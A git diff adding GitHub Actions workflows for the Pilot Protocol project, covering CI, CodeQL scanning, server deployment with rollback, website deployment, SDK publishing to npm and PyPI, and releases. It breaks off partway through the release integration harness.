diff --git a/.github/codeql/codeql-config.yml b/.github/codeql/codeql-config.yml new file mode 100644 index 00000000..23b93c6b --- /dev/null +++ b/.github/codeql/codeql-config.yml @@ -0,0 +1,8 @@ +name: "Pilot Protocol CodeQL config" + +query-filters: + # False positive: DialTLSPinned uses InsecureSkipVerify with a + # VerifyPeerCertificate callback that enforces SHA-256 cert pinning, + # which is strictly stronger than CA-based trust. + - exclude: + id: go/disabled-certificate-check diff --git a/.github/workflows/README.md b/.github/workflows/README.md new file mode 100644 index 00000000..60532589 --- /dev/null +++ b/.github/workflows/README.md @@ -0,0 +1,116 @@ +# GitHub Actions Workflows + +This directory contains CI/CD workflows for the Pilot Protocol project. + +## Workflow Overview + +```mermaid +graph TD + A[Push to main/build/**] --> B[Tests Workflow] + B --> C[Unit Tests] + C --> D[Integration Tests] + D --> E[Test Summary] + E -->|Success| F[Publish Python SDK] + E -->|Failure| G[Stop - No Publish] + F --> H{Environment} + H -->|main branch| I[Publish to PyPI] + H -->|build/** branch| J[Publish to TestPyPI] +``` + +## Workflows + +### 1. tests.yml (Tests) +**Triggers:** Push to `main`, `build/**`, `docs/**`, PRs to `main` + +**Jobs:** +- **unit-tests**: Runs Go unit tests (`./tests/...`) + - Generates coverage report + - Uploads coverage artifact + - Timeout: 5 minutes + +- **integration-tests**: Runs Docker integration tests + - Depends on: unit-tests + - Runs CLI tests (21 tests) + - Runs Python SDK tests (34 tests) + - Timeout: 10 minutes + +- **test-summary**: Aggregates results + - Depends on: unit-tests, integration-tests + - Fails if any test suite fails + - Displays summary in GitHub UI + +**Total Tests:** 55+ (Go unit tests + 21 CLI + 34 SDK integration tests) + +### 2. publish-python-sdk.yml (Build and Publish Python SDK) +**Triggers:** +- Manual workflow dispatch +- Automatic after "Tests" workflow completes (on `main` or `build/**`) + +**Dependencies:** +- ⚠️ **Requires "Tests" workflow to pass** before publishing +- Will NOT publish if any tests fail + +**Jobs:** +- **check-tests**: Validates test workflow passed +- **setup**: Determines environment (production vs test) +- **build-wheels**: Builds for Linux and macOS +- **publish**: Publishes to PyPI or TestPyPI +- **test-install**: Verifies installation works + +**Behavior:** +- `main` branch → Production PyPI +- `build/**` branches → TestPyPI +- Manual dispatch → Choose environment + +### 3. codeql.yml (Security Analysis) +**Triggers:** Push to `main`, PRs, weekly schedule + +**Purpose:** Security scanning using GitHub CodeQL + +## Cost Information + +✅ **All workflows use FREE GitHub-hosted runners for public repos:** +- `ubuntu-latest`: FREE +- `macos-latest`: FREE + +**Total Cost: $0/month** + +## Testing Locally + +```bash +# Run all tests +make test + +# Run integration tests only +cd tests/integration && make test + +# Run unit tests only +go test -v ./tests/... +``` + +## Workflow Dependencies + +``` +Tests Workflow (tests.yml) + ↓ + ├─ Unit Tests (Go) + ├─ Integration Tests (Docker: CLI + SDK) + └─ Test Summary + ↓ + └─ (on success) triggers → + ↓ + Publish Python SDK (publish-python-sdk.yml) + ↓ + ├─ Build Wheels + ├─ Publish to PyPI/TestPyPI + └─ Verify Installation +``` + +## Key Features + +1. **Test-First Publishing**: SDK only publishes after ALL tests pass +2. **Multi-Platform**: Builds Linux and macOS wheels +3. **Coverage Reports**: Automatic coverage generation and artifact upload +4. **Environment Safety**: Test environment (TestPyPI) for `build/**` branches +5. **Comprehensive Testing**: Unit + Integration (CLI + SDK) tests +6. **Free Runners**: Zero cost for public repository diff --git a/.github/workflows/apply-networks.yml b/.github/workflows/apply-networks.yml new file mode 100644 index 00000000..e3765cd7 --- /dev/null +++ b/.github/workflows/apply-networks.yml @@ -0,0 +1,152 @@ +name: Apply Network Configs + +on: + push: + branches: [main] + paths: + - 'configs/networks/*.json' + workflow_dispatch: + +concurrency: + group: apply-networks + cancel-in-progress: false + +env: + PILOT_REGISTRY: "34.71.57.205:9000" + +jobs: + detect: + name: Detect changes + runs-on: ubuntu-latest + outputs: + changed: ${{ steps.diff.outputs.changed }} + deleted: ${{ steps.diff.outputs.deleted }} + has_changes: ${{ steps.diff.outputs.has_changes }} + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 2 + + - name: Detect changed and deleted configs + id: diff + run: | + if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then + # Manual run: apply all existing configs, no deletes + CHANGED=$(find configs/networks -name '*.json' | jq -R -s -c 'split("\n") | map(select(length > 0))') + DELETED="[]" + else + CHANGED=$(git diff --name-only --diff-filter=ACMR HEAD~1 HEAD -- 'configs/networks/*.json' | jq -R -s -c 'split("\n") | map(select(length > 0))') + DELETED=$(git diff --name-only --diff-filter=D HEAD~1 HEAD -- 'configs/networks/*.json' | jq -R -s -c 'split("\n") | map(select(length > 0))') + fi + echo "changed=$CHANGED" >> "$GITHUB_OUTPUT" + echo "deleted=$DELETED" >> "$GITHUB_OUTPUT" + if [ "$CHANGED" = "[]" ] && [ "$DELETED" = "[]" ]; then + echo "has_changes=false" >> "$GITHUB_OUTPUT" + else + echo "has_changes=true" >> "$GITHUB_OUTPUT" + fi + echo "Changed: $CHANGED" + echo "Deleted: $DELETED" + + apply: + name: Apply + needs: detect + if: needs.detect.outputs.has_changes == 'true' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 2 + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Build pilotctl + run: CGO_ENABLED=0 go build -o pilotctl ./cmd/pilotctl/ + + - name: Validate configs + if: fromJSON(needs.detect.outputs.changed)[0] != null + run: | + for f in ${{ join(fromJSON(needs.detect.outputs.changed), ' ') }}; do + echo "Validating $f..." + ./pilotctl policy validate --file <(jq '.expr_policy' "$f") || { + echo "::error::Validation failed for $f" + exit 1 + } + done + + - name: Apply changed configs + if: fromJSON(needs.detect.outputs.changed)[0] != null + env: + PILOT_ADMIN_TOKEN: ${{ secrets.PILOT_ADMIN_TOKEN }} + run: | + FAILED=0 + for f in ${{ join(fromJSON(needs.detect.outputs.changed), ' ') }}; do + NAME=$(jq -r '.name' "$f") + echo "Applying $f (network: $NAME)..." + if ./pilotctl provision "$f" -json; then + echo "Applied $NAME" + else + echo "::error::Failed to apply $f" + FAILED=1 + fi + done + if [ "$FAILED" = "1" ]; then + exit 1 + fi + + - name: Delete removed networks + if: fromJSON(needs.detect.outputs.deleted)[0] != null + env: + PILOT_ADMIN_TOKEN: ${{ secrets.PILOT_ADMIN_TOKEN }} + run: | + FAILED=0 + for f in ${{ join(fromJSON(needs.detect.outputs.deleted), ' ') }}; do + # Recover the name from the deleted file in the previous commit + NAME=$(git show HEAD~1:"$f" | jq -r '.name') + if [ -z "$NAME" ] || [ "$NAME" = "null" ]; then + echo "::warning::Could not extract name from deleted $f, skipping" + continue + fi + echo "Deleting network $NAME (from $f)..." + if ./pilotctl deprovision "$NAME" -json; then + echo "Deleted $NAME" + else + echo "::error::Failed to delete network $NAME" + FAILED=1 + fi + done + if [ "$FAILED" = "1" ]; then + exit 1 + fi + + - name: Summary + if: always() + run: | + echo "## Apply Network Configs" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + + CHANGED='${{ needs.detect.outputs.changed }}' + DELETED='${{ needs.detect.outputs.deleted }}' + + if [ "$CHANGED" != "[]" ]; then + echo "**Applied:**" >> "$GITHUB_STEP_SUMMARY" + echo "$CHANGED" | jq -r '.[]' | while read -r f; do + if [ -f "$f" ]; then + NAME=$(jq -r '.name' "$f") + echo "- \`$NAME\` ($f)" >> "$GITHUB_STEP_SUMMARY" + fi + done + fi + + if [ "$DELETED" != "[]" ]; then + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Deleted:**" >> "$GITHUB_STEP_SUMMARY" + echo "$DELETED" | jq -r '.[]' | while read -r f; do + echo "- $f" >> "$GITHUB_STEP_SUMMARY" + done + fi + + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Triggered by:** ${{ github.actor }}" >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..49725ecb --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,83 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + go: + name: Go (${{ matrix.os }}) + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Vet + run: go vet ./... + + - name: Build + run: | + go build ./cmd/daemon + go build ./cmd/registry + go build ./cmd/beacon + go build ./cmd/rendezvous + go build ./cmd/pilotctl + go build ./cmd/nameserver + go build ./cmd/gateway + go build ./cmd/updater + + - name: Test + run: go test -parallel 4 -count=1 -timeout 120s ./tests/ ./pkg/beacon/ + + - name: Coverage + if: matrix.os == 'ubuntu-latest' + run: | + cd tests && go test -parallel 4 -count=1 -coverprofile=coverage.out -covermode=atomic -timeout 120s + go tool cover -func=coverage.out | tail -1 + + website: + name: Website + runs-on: ubuntu-latest + defaults: + run: + working-directory: web + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + cache-dependency-path: web/package-lock.json + + - name: Install + run: npm ci + + - name: Build + run: npm run build + + node-sdk: + name: Node SDK + runs-on: ubuntu-latest + defaults: + run: + working-directory: sdk/node + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + + - run: npm ci + - run: npm run build + - run: npm test diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 00000000..f29dc26f --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,29 @@ +name: "CodeQL" + +on: + push: + branches: [main] + pull_request: + branches: [main] + schedule: + - cron: "0 6 * * 1" # weekly, Monday 6 AM UTC + +jobs: + analyze: + name: Analyze Go + runs-on: ubuntu-latest + permissions: + security-events: write + contents: read + + steps: + - uses: actions/checkout@v4 + + - uses: github/codeql-action/init@v3 + with: + languages: go + config-file: ./.github/codeql/codeql-config.yml + + - uses: github/codeql-action/autobuild@v3 + + - uses: github/codeql-action/analyze@v3 diff --git a/.github/workflows/deploy-rendezvous.yml b/.github/workflows/deploy-rendezvous.yml new file mode 100644 index 00000000..3a040b3e --- /dev/null +++ b/.github/workflows/deploy-rendezvous.yml @@ -0,0 +1,199 @@ +name: Deploy Rendezvous Server + +on: + push: + branches: [deploy/rendezvous] + workflow_dispatch: + inputs: + rollback: + description: 'Roll back to previous binary' + type: boolean + default: false + +concurrency: + group: deploy-rendezvous + cancel-in-progress: false + +env: + VM_NAME: pilot-rendezvous + VM_ZONE: us-central1-a + VM_USER: calinteodor + VM_IP: 34.71.57.205 + BINARY_NAME: pilot-rendezvous + INSTALL_DIR: /usr/local/bin + DEPLOY_SCRIPT: scripts/deploy-rendezvous.sh + +jobs: + test: + name: Test + if: ${{ !(github.event_name == 'workflow_dispatch' && inputs.rollback) }} + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Vet + run: go vet ./... + + - name: Build + run: go build ./cmd/rendezvous + + - name: Test + run: go test -parallel 4 -count=1 -timeout 60s ./tests/ ./pkg/beacon/ + + build-and-deploy: + name: Build & Deploy + needs: test + if: ${{ !(github.event_name == 'workflow_dispatch' && inputs.rollback) }} + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Determine version + id: version + run: echo "version=$(git describe --tags --always --dirty)" >> "$GITHUB_OUTPUT" + + - name: Build linux/amd64 binary + run: | + CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \ + -ldflags "-s -w -X main.version=${{ steps.version.outputs.version }}" \ + -o ${{ env.BINARY_NAME }} \ + ./cmd/rendezvous/ + + - name: Authenticate to GCP + uses: google-github-actions/auth@v2 + with: + credentials_json: ${{ secrets.GCP_SA_KEY }} + + - name: Setup gcloud + uses: google-github-actions/setup-gcloud@v2 + with: + project_id: vulture-vision-cloud + + - name: Upload binary to VM + run: | + gcloud compute scp \ + ${{ env.BINARY_NAME }} \ + ${{ env.VM_USER }}@${{ env.VM_NAME }}:~/${{ env.BINARY_NAME }}-staged \ + --zone=${{ env.VM_ZONE }} \ + --tunnel-through-iap + + - name: Upload deploy script to VM + run: | + gcloud compute scp \ + ${{ env.DEPLOY_SCRIPT }} \ + ${{ env.VM_USER }}@${{ env.VM_NAME }}:~/deploy-rendezvous.sh \ + --zone=${{ env.VM_ZONE }} \ + --tunnel-through-iap + + - name: Run deploy script + run: | + gcloud compute ssh ${{ env.VM_USER }}@${{ env.VM_NAME }} \ + --zone=${{ env.VM_ZONE }} \ + --tunnel-through-iap \ + --command="chmod +x ~/deploy-rendezvous.sh && ~/deploy-rendezvous.sh deploy" + + - name: External health check + run: | + echo "Waiting 5s for service to stabilize..." + sleep 5 + HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://${{ env.VM_IP }}:3000/api/stats") + if [ "$HTTP_CODE" != "200" ]; then + echo "::error::External health check failed: HTTP $HTTP_CODE" + exit 1 + fi + STATS=$(curl -s "http://${{ env.VM_IP }}:3000/api/stats") + echo "Dashboard stats: $STATS" + echo "External health check passed" + + - name: Cleanup staged files + if: always() + run: | + gcloud compute ssh ${{ env.VM_USER }}@${{ env.VM_NAME }} \ + --zone=${{ env.VM_ZONE }} \ + --tunnel-through-iap \ + --command="rm -f ~/${{ env.BINARY_NAME }}-staged ~/deploy-rendezvous.sh" \ + || true + + rollback: + name: Rollback + if: ${{ github.event_name == 'workflow_dispatch' && inputs.rollback }} + runs-on: ubuntu-latest + steps: + - name: Authenticate to GCP + uses: google-github-actions/auth@v2 + with: + credentials_json: ${{ secrets.GCP_SA_KEY }} + + - name: Setup gcloud + uses: google-github-actions/setup-gcloud@v2 + with: + project_id: vulture-vision-cloud + + - name: Rollback to previous binary + run: | + gcloud compute ssh ${{ env.VM_USER }}@${{ env.VM_NAME }} \ + --zone=${{ env.VM_ZONE }} \ + --tunnel-through-iap \ + --command=" + set -e + PREV=${{ env.INSTALL_DIR }}/${{ env.BINARY_NAME }}.prev + CURRENT=${{ env.INSTALL_DIR }}/${{ env.BINARY_NAME }} + if [ ! -f \"\$PREV\" ]; then + echo 'No previous binary found for rollback' + exit 1 + fi + echo 'Stopping service...' + sudo systemctl stop ${{ env.BINARY_NAME }} + sleep 1 + echo 'Restoring previous binary...' + sudo cp \"\$PREV\" \"\$CURRENT\" + echo 'Starting service...' + sudo systemctl start ${{ env.BINARY_NAME }} + sleep 3 + if systemctl is-active --quiet ${{ env.BINARY_NAME }}; then + echo 'Rollback successful — service is active' + else + echo 'Rollback FAILED — service did not start' + sudo journalctl -u ${{ env.BINARY_NAME }} --no-pager -n 20 + exit 1 + fi + " + + - name: External health check after rollback + run: | + sleep 5 + HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://${{ env.VM_IP }}:3000/api/stats") + if [ "$HTTP_CODE" != "200" ]; then + echo "::error::Post-rollback health check failed: HTTP $HTTP_CODE" + exit 1 + fi + echo "Rollback verified — dashboard responding" + + notify: + name: Summary + if: always() + needs: [test, build-and-deploy, rollback] + runs-on: ubuntu-latest + steps: + - name: Write summary + run: | + echo "## Deploy Rendezvous Server" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "| Job | Status |" >> "$GITHUB_STEP_SUMMARY" + echo "|-----|--------|" >> "$GITHUB_STEP_SUMMARY" + echo "| Test | ${{ needs.test.result || 'skipped' }} |" >> "$GITHUB_STEP_SUMMARY" + echo "| Build & Deploy | ${{ needs.build-and-deploy.result || 'skipped' }} |" >> "$GITHUB_STEP_SUMMARY" + echo "| Rollback | ${{ needs.rollback.result || 'skipped' }} |" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Triggered by:** ${{ github.actor }}" >> "$GITHUB_STEP_SUMMARY" + echo "**Ref:** \`${{ github.sha }}\`" >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/deploy-website.yml b/.github/workflows/deploy-website.yml new file mode 100644 index 00000000..71b995dd --- /dev/null +++ b/.github/workflows/deploy-website.yml @@ -0,0 +1,26 @@ +name: Deploy Website +on: + push: + branches: [main] + paths: ['web/**'] + repository_dispatch: + types: [pilot-skills-updated] + workflow_dispatch: + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 22 + - run: npm ci + working-directory: web + - run: npm run build + working-directory: web + - run: npx wrangler pages deploy dist --project-name=pilotprotocol --branch=main + working-directory: web + env: + CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} + CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} diff --git a/.github/workflows/publish-node-sdk.yml b/.github/workflows/publish-node-sdk.yml new file mode 100644 index 00000000..559418ba --- /dev/null +++ b/.github/workflows/publish-node-sdk.yml @@ -0,0 +1,170 @@ +name: Publish Node SDK + +on: + release: + types: [published] + +permissions: + contents: write + id-token: write + +jobs: + test-sdk: + if: "!github.event.release.prerelease" + runs-on: ubuntu-latest + defaults: + run: + working-directory: sdk/node + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 22 + - run: npm ci + - run: npm run build + - run: npm test + + build-packages: + needs: test-sdk + strategy: + matrix: + include: + - os: ubuntu-latest + platform: linux + - os: macos-latest + platform: macos + runs-on: ${{ matrix.os }} + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set version from release tag + shell: bash + run: | + VERSION="${{ github.event.release.tag_name }}" + VERSION="${VERSION#v}" + echo "version=$VERSION" >> $GITHUB_ENV + cd sdk/node + node -e " + const pkg = JSON.parse(require('fs').readFileSync('package.json', 'utf8')); + pkg.version = '$VERSION'; + require('fs').writeFileSync('package.json', JSON.stringify(pkg, null, 2) + '\n'); + " + echo "SDK version: $VERSION" + + - name: Set up Go + uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: 22 + registry-url: 'https://registry.npmjs.org' + + - name: Build binaries + shell: bash + run: | + cd sdk/node + chmod +x scripts/build-binaries.sh + ./scripts/build-binaries.sh + + - name: Install and build TypeScript + working-directory: sdk/node + run: | + npm ci + npm run build + + - name: Verify package contents + working-directory: sdk/node + run: | + echo "Package contents:" + npm pack --dry-run + echo "" + echo "Binary sizes:" + ls -lh bin/ + + - name: Upload package artifact + uses: actions/upload-artifact@v4 + with: + name: npm-package-${{ matrix.platform }} + path: sdk/node/ + retention-days: 7 + + publish: + needs: build-packages + runs-on: ubuntu-latest + steps: + - name: Download Linux package + uses: actions/download-artifact@v4 + with: + name: npm-package-linux + path: sdk/node-linux + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: 22 + registry-url: 'https://registry.npmjs.org' + + - name: Extract version + id: extract-version + run: | + VERSION=$(node -e "console.log(JSON.parse(require('fs').readFileSync('sdk/node-linux/package.json', 'utf8')).version)") + echo "version=$VERSION" >> $GITHUB_OUTPUT + echo "Version: $VERSION" + + - name: Check if version exists on npm + id: check-npm + run: | + VERSION=${{ steps.extract-version.outputs.version }} + if npm view pilotprotocol@$VERSION version 2>/dev/null; then + echo "exists=true" >> $GITHUB_OUTPUT + echo "Version $VERSION already exists on npm" + else + echo "exists=false" >> $GITHUB_OUTPUT + echo "Version $VERSION does not exist on npm" + fi + + - name: Publish to npm + if: steps.check-npm.outputs.exists == 'false' + working-directory: sdk/node-linux + env: + NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} + run: | + npm ci + npm publish --access public + + - name: Skip publish - version exists + if: steps.check-npm.outputs.exists == 'true' + run: echo "Skipping publish - version already exists on npm" + + - name: Create summary + run: | + echo "## Node SDK Published" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "**Version:** ${{ steps.extract-version.outputs.version }}" >> $GITHUB_STEP_SUMMARY + echo "**Install:** \`npm install pilotprotocol\`" >> $GITHUB_STEP_SUMMARY + echo "**npm:** https://www.npmjs.com/package/pilotprotocol" >> $GITHUB_STEP_SUMMARY + + test-install: + needs: publish + strategy: + matrix: + os: [ubuntu-latest, macos-latest] + runs-on: ${{ matrix.os }} + steps: + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: 22 + + - name: Wait for npm propagation + run: sleep 60 + + - name: Install and verify + run: | + npm install pilotprotocol + npx pilotctl info 2>&1 | head -1 || true + node -e "import('pilotprotocol').then(m => console.log('SDK installed, exports:', Object.keys(m)))" diff --git a/.github/workflows/publish-python-sdk.yml b/.github/workflows/publish-python-sdk.yml new file mode 100644 index 00000000..06804d57 --- /dev/null +++ b/.github/workflows/publish-python-sdk.yml @@ -0,0 +1,197 @@ +name: Publish Python SDK + +on: + release: + types: [published] + +permissions: + contents: write + id-token: write + +jobs: + test-sdk: + if: "!github.event.release.prerelease" + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Run SDK integration tests + run: | + cd tests/integration + make test-sdk + timeout-minutes: 10 + + build-wheels: + needs: test-sdk + strategy: + matrix: + include: + - os: ubuntu-latest + platform: linux + - os: macos-latest + platform: macos + runs-on: ${{ matrix.os }} + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set version from release tag + shell: bash + run: | + VERSION="${{ github.event.release.tag_name }}" + VERSION="${VERSION#v}" + echo "version=$VERSION" >> $GITHUB_ENV + cd sdk/python + sed -i.bak "s/^version = .*/version = \"$VERSION\"/" pyproject.toml + rm pyproject.toml.bak + echo "SDK version: $VERSION" + + - name: Set up Go + uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install build dependencies + run: | + python -m pip install --upgrade pip + pip install build twine + if [ "${{ matrix.platform }}" = "linux" ]; then + pip install auditwheel patchelf + fi + + - name: Build wheel + shell: bash + run: | + cd sdk/python + chmod +x scripts/build-binaries.sh scripts/build.sh + ./scripts/build.sh + + - name: Convert to manylinux wheel (Linux only) + if: matrix.platform == 'linux' + shell: bash + run: | + cd sdk/python + if auditwheel repair dist/*.whl --plat manylinux_2_35_x86_64 -w dist/ 2>/dev/null; then + echo "Created manylinux_2_35 wheel" + elif auditwheel repair dist/*.whl --plat manylinux_2_31_x86_64 -w dist/ 2>/dev/null; then + echo "Created manylinux_2_31 wheel" + elif auditwheel repair dist/*.whl --plat manylinux_2_28_x86_64 -w dist/ 2>/dev/null; then + echo "Created manylinux_2_28 wheel" + else + echo "Could not repair to manylinux, keeping original linux wheel" + fi + rm -f dist/*-linux_x86_64.whl + + - name: Verify wheel + shell: bash + run: | + cd sdk/python + python -m twine check dist/* + + - name: Upload wheel artifact + uses: actions/upload-artifact@v4 + with: + name: wheel-${{ matrix.os }} + path: sdk/python/dist/*.whl + retention-days: 7 + + - name: Upload sdist artifact (Linux only) + if: matrix.os == 'ubuntu-latest' + uses: actions/upload-artifact@v4 + with: + name: sdist + path: sdk/python/dist/*.tar.gz + retention-days: 7 + + publish: + needs: build-wheels + runs-on: ubuntu-latest + steps: + - name: Download all artifacts + uses: actions/download-artifact@v4 + with: + path: dist-artifacts + + - name: Prepare distribution directory + run: | + mkdir -p dist + find dist-artifacts -name "*.whl" -exec cp {} dist/ \; + find dist-artifacts -name "*.tar.gz" -exec cp {} dist/ \; + ls -lh dist/ + + - name: Extract version + id: extract-version + run: | + WHEEL_FILE=$(ls dist/*.whl | head -1) + VERSION=$(echo "$WHEEL_FILE" | sed -n 's/.*pilotprotocol-\([0-9]\+\.[0-9]\+\.[0-9]\+\).*/\1/p') + echo "version=$VERSION" >> $GITHUB_OUTPUT + echo "Version: $VERSION" + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install twine + run: pip install twine + + - name: Check if version exists on PyPI + id: check-pypi + run: | + VERSION=${{ steps.extract-version.outputs.version }} + if curl -s https://pypi.org/pypi/pilotprotocol/$VERSION/json | grep -q "\"version\": \"$VERSION\""; then + echo "exists=true" >> $GITHUB_OUTPUT + echo "Version $VERSION already exists on PyPI" + else + echo "exists=false" >> $GITHUB_OUTPUT + echo "Version $VERSION does not exist on PyPI" + fi + + - name: Publish to PyPI + if: steps.check-pypi.outputs.exists == 'false' + env: + TWINE_USERNAME: __token__ + TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} + run: python -m twine upload dist/* + + - name: Skip publish - version exists + if: steps.check-pypi.outputs.exists == 'true' + run: echo "Skipping publish - version already exists on PyPI" + + - name: Create summary + run: | + echo "## Python SDK Published" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "**Version:** ${{ steps.extract-version.outputs.version }}" >> $GITHUB_STEP_SUMMARY + echo "**Install:** \`pip install pilotprotocol\`" >> $GITHUB_STEP_SUMMARY + echo "**PyPI:** https://pypi.org/project/pilotprotocol/" >> $GITHUB_STEP_SUMMARY + + test-install: + needs: publish + strategy: + matrix: + os: [ubuntu-latest, macos-latest] + runs-on: ${{ matrix.os }} + steps: + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Wait for PyPI propagation + run: sleep 60 + + - name: Install and verify + run: | + pip install pilotprotocol + pilotctl info 2>&1 | head -1 || true + python -c "from pilotprotocol import Driver; print('SDK installed')" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 00000000..fc73f019 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,213 @@ +name: Release + +on: + push: + tags: ['v*'] + +permissions: + contents: write + +jobs: + test: + name: Test (${{ matrix.os }}) + runs-on: ${{ matrix.os }} + strategy: + fail-fast: true + matrix: + os: [ubuntu-latest, macos-latest] + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Vet + run: go vet ./... + + - name: Build all binaries + run: make build + + - name: Unit tests + run: go test -parallel 4 -count=1 -timeout 120s ./tests/ ./pkg/beacon/ + + build: + name: Build (${{ matrix.goos }}/${{ matrix.goarch }}) + needs: test + runs-on: ${{ matrix.runner }} + strategy: + matrix: + include: + - goos: linux + goarch: amd64 + runner: ubuntu-latest + - goos: linux + goarch: arm64 + runner: ubuntu-latest + - goos: darwin + goarch: amd64 + runner: macos-latest + - goos: darwin + goarch: arm64 + runner: macos-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + + - name: Build release binaries + env: + GOOS: ${{ matrix.goos }} + GOARCH: ${{ matrix.goarch }} + CGO_ENABLED: '0' + run: | + VERSION=${GITHUB_REF_NAME} + LDFLAGS="-s -w -X main.version=${VERSION}" + BINS="daemon pilotctl gateway registry beacon rendezvous nameserver updater" + mkdir -p dist + for bin in $BINS; do + echo "Building $bin for ${{ matrix.goos }}/${{ matrix.goarch }}..." + go build -ldflags "$LDFLAGS" -o dist/$bin ./cmd/$bin + done + + - name: Smoke test binaries + if: matrix.goos == 'linux' && matrix.goarch == 'amd64' || matrix.goos == 'darwin' + run: | + echo "=== Binary smoke tests ===" + for bin in dist/*; do + name=$(basename $bin) + # Verify it's a valid executable + file $bin + # Version flag check (all binaries should accept -h without crashing) + timeout 5 $bin -h 2>&1 || true + echo " ✓ $name" + done + + echo "" + echo "=== Registry start/stop test ===" + dist/registry -addr 127.0.0.1:0 & + REG_PID=$! + sleep 1 + kill $REG_PID 2>/dev/null && echo " ✓ registry starts and stops cleanly" + + echo "" + echo "=== Daemon help test ===" + dist/daemon -h 2>&1 | head -5 + echo " ✓ daemon shows help" + + echo "" + echo "=== pilotctl version test ===" + dist/pilotctl version 2>&1 || dist/pilotctl -h 2>&1 | head -3 + echo " ✓ pilotctl responds" + + - name: Package archive + run: | + ARCHIVE="pilot-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz" + tar -czf $ARCHIVE -C dist . + echo "ARCHIVE=$ARCHIVE" >> $GITHUB_ENV + + - name: Upload artifact + uses: actions/upload-artifact@v4 + with: + name: pilot-${{ matrix.goos }}-${{ matrix.goarch }} + path: ${{ env.ARCHIVE }} + + harness: + name: Integration harness + needs: build + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Download linux/amd64 binaries + uses: actions/download-artifact@v4 + with: + name: pilot-linux-amd64 + + - name: Extract binaries + run: | + mkdir -p bin + tar -xzf pilot-linux-amd64.tar.gz -C bin + chmod +x bin/* + + - name: End-to-end harness + run: | + set -e + echo "=== Starting registry ===" + bin/registry -addr 127.0.0.1:19000 -log-level error & + REG_PID=$! + sleep 1 + + echo "=== Starting beacon ===" + bin/beacon -registry-addr 127.0.0.1:19000 -listen :19001 -log-level error & + BEACON_PID=$! + sleep 1 + + echo "=== Starting daemon A ===" + PILOT_HOME=$(mktemp -d) + bin/daemon -registry 127.0.0.1:19000 -beacon 127.0.0.1:19001 \ + -hostname harness-a -home "$PILOT_HOME/a" -log-level error & + DA_PID=$! + sleep 2 + + echo "=== Starting daemon B ===" + bin/daemon -registry 127.0.0.1:19000 -beacon 127.0.0.1:19001 \ + -hostname harness-b -home "$PILOT_HOME/b" -log-level error & + DB_PID=$! + sleep 2 + + echo "=== Verify nodes registered ===" + # pilotctl info via daemon A + PILOT_SOCK="$PILOT_HOME/a/pilot.sock" bin/pilotctl info --json 2>&1 | head -20 + echo " ✓ daemon A responds to info" + + PILOT_SOCK="$PILOT_HOME/b/pilot.sock" 